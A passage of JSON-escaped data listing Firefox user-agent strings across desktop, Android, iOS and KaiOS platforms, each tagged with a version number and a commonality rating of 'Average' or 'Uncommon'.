Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:38.0; Neustar WPM) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (X11; Linux; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.2.33re\"},{\"commonality\":\"Average\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:19.0) Gecko\\/19.0 Firefox\\/19.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:22.0) Gecko\\/20100101 Firefox\\/22.0\"},{\"commonality\":\"Average\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko\\/20090624 Firefox\\/3.5 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:7.0.1) Gecko\\/20100101 Firefox\\/7.0.1\"},{\"commonality\":\"Average\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:15.0) Gecko\\/20100101 Firefox\\/15.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.28) Gecko\\/20120306 Firefox\\/3.6.28\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:2.0.1) Gecko\\/20100101 Firefox\\/4.0.1\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/LF-2403N\\/LYF-LF2403N-000-01-38-151217;Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (windows; U; Windows NT 5.1; zh-CN; rv:1.7.12) Gecko\\/20050919 Firefox\\/1.0.7\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko\\/20121011 Firefox\\/16.0.1\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:49.0) Gecko\\/49.0 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:20.0) Gecko\\/20.0 Firefox\\/20.0\"},{\"commonality\":\"Average\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:47.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Average\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko\\/20100101 Firefox\\/31.0\"},{\"commonality\":\"Average\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:42.0) Gecko\\/20100101 Firefox\\/42.0\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3 (NetShelter ContentScan)\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Average\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:44.0) Gecko\\/20100101 Firefox\\/44.0\"},{\"commonality\":\"Average\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) adbeat.com\\/policy AppleWebKit\\/537.21 (KHTML, like Gecko) Firefox\\/34.0 Safari\\/537.21\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Tablet; rv:48.0) Gecko\\/48.0 Firefox\\/48.0\"},{\"commonality\":\"Average\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko\\/20100101 Firefox\\/25.0\"},{\"commonality\":\"Average\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Average\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Linux armv7l; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) FxiOS\\/10.6b8836 Mobile\\/15D100 Safari\\/604.5.6\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:26.0) Gecko\\/26.0 Firefox\\/26.0 SailfishBrowser\\/1.0 like Safari\\/538.1\"},{\"commonality\":\"Average\",\"version\":\"1.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/1.1 Mobile\\/13B143 Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) FxiOS\\/7.5b3349 Mobile\\/14F89 Safari\\/603.2.4\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Average\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:8.0) Gecko\\/20100101 Firefox\\/8.0\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko\\/20100101 Firefox\\/6.0.2\"},{\"commonality\":\"Average\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:35.0) Gecko\\/20100101 Firefox\\/35.0 Authentic8\\/1.0\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Average\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko\\/20100122 firefox\\/3.6.1\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; U; FreeBSD i386; zh-tw; rv:31.0) Gecko\\/20100101 Firefox\\/31.0 Opera\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"2.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko\\/20071127 Firefox\\/2.0.0.11\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:10.0.1) Gecko\\/20100101 Firefox\\/10.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko\\/16.0 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18.1\",\"ua\":\"Mozilla\\/5.0 (Mobile; ALCATELOneTouch4012A; rv:18.1) Gecko\\/18.1 Firefox\\/18.1\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko\\/20100101 Firefox\\/28.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:56.0) Gecko\\/56.0 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:18.0) Gecko\\/20100101 Firefox\\/18.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:14.0) Gecko\\/20100101 Firefox\\/14.0\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:26.0) Gecko\\/20100101 Firefox\\/26.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Mobile; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38.2\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:38.2.1) Gecko\\/20100101 Firefox\\/38.2.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko\\/20100101 Firefox\\/4.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:20.0) Gecko\\/20100101 Firefox\\/20.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-us; rv:1.9.2.3) Gecko\\/20100401 YFF35 Firefox\\/3.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:21.0) Gecko\\/20100101 Firefox\\/21.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.28) Gecko\\/20120306 Firefox\\/3.6.28\"},{\"commonality\":\"Uncommon\",\"version\":\"3.8\",\"ua\":\"Mozilla\\/5.0 (Windows; Windows NT 5.0) Gecko\\/20101221 Firefox\\/3.8.0 (.NET CLR 2.5.30)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; rv:45.0) Gecko\\/20100101 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE or Firefox mutant; not on Windows server;) Daumoa\\/4.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Linux x86_64; rv:57.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko\\/20100101 Firefox\\/9.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.18) Gecko\\/20110628 Ubuntu\\/10.04 (lucid) Firefox\\/3.6.18\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko\\/20100101 Firefox\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:55.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:15.0) Gecko\\/20100101 Firefox\\/15.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE or Firefox mutant; not on Windows server;) Daumoa 4.0\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:10.0) Gecko\\/20100101 Firefox\\/10.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 6.0.1; Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko\\/20100722 Firefox\\/3.6.8\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Tablet; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko\\/20041107 Firefox\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:39.0) Gecko\\/20100101 Firefox\\/39.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:27.0) Gecko\\/20100101 Firefox\\/27.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F61F\\/LYF-F61F-000-01-17-211217; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko\\/20100101 Firefox\\/52.0 Cyberfox\\/52.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"50.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:50.1.0) Gecko\\/20100101 Firefox\\/50.1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko\\/20110303 Firefox\\/3.6.15\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:34.0) Gecko\\/34.0 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; $LYF\\/$F30C\\/$LYF_F30C-000-09-07-191217; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko\\/20100101 Firefox\\/17.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:32.0) Gecko\\/20100101 Firefox\\/32.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko\\/20100101 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:46.0) Gecko\\/20100101 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) FxiOS\\/10.4b8288 Mobile\\/15C153 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; U; CrOS i686 9.10.0; en-US) AppleWebKit\\/532.5 (KHTML, like Gecko) Gecko\\/20100101 Firefox\\/29.0\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:46.0) Gecko\\/46.0 Firefox\\/46.0\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0 Cyberfox\\/34.1\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.8; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 7.1.1; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"23\",\"ua\":\"PB0.6b Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko\\/20100101 Firefox\\/23.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:45.0) Gecko\\/45.0 Firefox\\/45.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:51.0) Gecko\\/20100101 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:41.0) Gecko\\/20100101 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:11.0) Gecko\\/20100101 Firefox\\/11.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:10.0.2) Gecko\\/20100101 Firefox\\/10.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko\\/20100101 Firefox\\/15.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/4.0 Mobile\\/13F69 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko\\/20100101 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:38.0) Gecko\\/20100101 